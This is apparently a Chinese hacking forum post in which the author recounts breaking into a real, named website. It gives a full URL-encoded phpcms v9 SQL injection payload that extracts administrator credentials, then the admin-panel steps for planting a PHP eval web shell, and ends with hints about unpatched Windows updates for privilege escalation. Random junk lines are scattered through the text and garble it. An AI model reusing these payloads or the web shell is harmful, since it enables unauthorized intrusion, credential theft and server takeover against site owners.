期末快到了,各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思,叫做黑客攻防,期末作业就是黑站,我笑了。。前几天在服务器上嗅探把服务器搞死了,管理员漏洞也补了,写这篇文章单凭记忆,图片较少,还请见谅。 Author:夜行人 From:F4ck Team
+ R- k1 C4 y* `! c0 e) p7 `目标站:http://www.ipucom.com/ 旁注到一个站点:www.zhongyitong.com有phpcmsv9注射漏洞 百度一下找到该漏洞的利用方法。 直接在该网站注册用户名,然后在该网站域名后加上这段代码就能爆出数据库名 api.php?op=add_favorite&url=xx.oo&title=%2527, g' h. e7 Z0 s; Y7 d( r
8 L' F; _' N, K1 L6 r/ {2 v) T2 T( H- q9 U0 i
( J7 @3 }, P W, V$ E
; p& i9 i9 g) G! b4 ?1 q4 V . ]6 q* n/ a: f9 ]& x" R
9 A' w J6 ~" m" D6 D7 m: A$ C% y7 i6 y( d
$ D) T% h& F+ U, I1 {
$ j. C a2 ^5 v: r% B# f & _8 k/ h0 X% Y8 {
: m9 G4 s& O1 u* d; B 这里可以清楚的看到数据库名和表名,然后把该表名替换一下代码中的表名 api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from% 2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select %2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from %2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables %2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from %2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and %2520%25271%2527%253D%25271
+ B! O, Y) _7 e& V) D- p
3 x" T" h( l' S; i$ r! a' H3 w: @. V: \5 {
9 h8 T9 h$ V8 s7 s8 M$ W& j: p- A# E; W5 J; D7 e
帐号密码就出来了,md5解密一下就行了 进入后台, 界面 > 模板管理 > 模板风格 >
. h9 ?" s8 s7 k) {+ I3 F! I) H ) n3 C9 `2 T5 [% F. D
8 @' Z$ W( Z) q% b4 i" r+ m " b) T9 S: ]% T* ^5 g
& u& `7 B* P0 V4 p' D
- l* B$ o- `4 ]; o" g" [9 n+ ^( }8 }4 N- ^% U# p. _, {( t
- @- R- E7 f# l0 ~8 q3 [8 J
" r* \& i- ^- P1 W! l% [ 点击后面的修改,然后把一下代码复制上去保存 <? $fp = @fopen("c.php", 'a'); @fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n"); @fclose($fp); ?>
1 P7 k1 k* a2 M
. ]0 Y: r% p8 q* v1 g9 z3 Q4 }$ R6 S3 } K
( Q! S2 `0 n. y0 p/ q8 j
. c% z8 m" ^! _ N$ a6 D+ l; N , D4 u/ \+ h5 r" A1 L6 F6 _3 C
( [: m, P" V3 X' R8 h& `
2 Y3 t6 I; s" C' B- Q$ s, Y0 J* S3 o, R% v1 F, c& D
0 R! W0 V2 x& j& \) ~' B" E
; D* X* `6 U9 }7 v7 W" E 提交后可视化一下) X% E9 Y5 _( T
& t/ b1 g; i8 U; Y& w* \/ d
在网站的根目录就生成了你的一句话木马客户端 http://www.zhongyitong.com/f4ck.php 然后通过控制端连上去就行了。。。 提权貌似很简单,看了下systeminfo 发现没有 KB2503665 KB2592799 |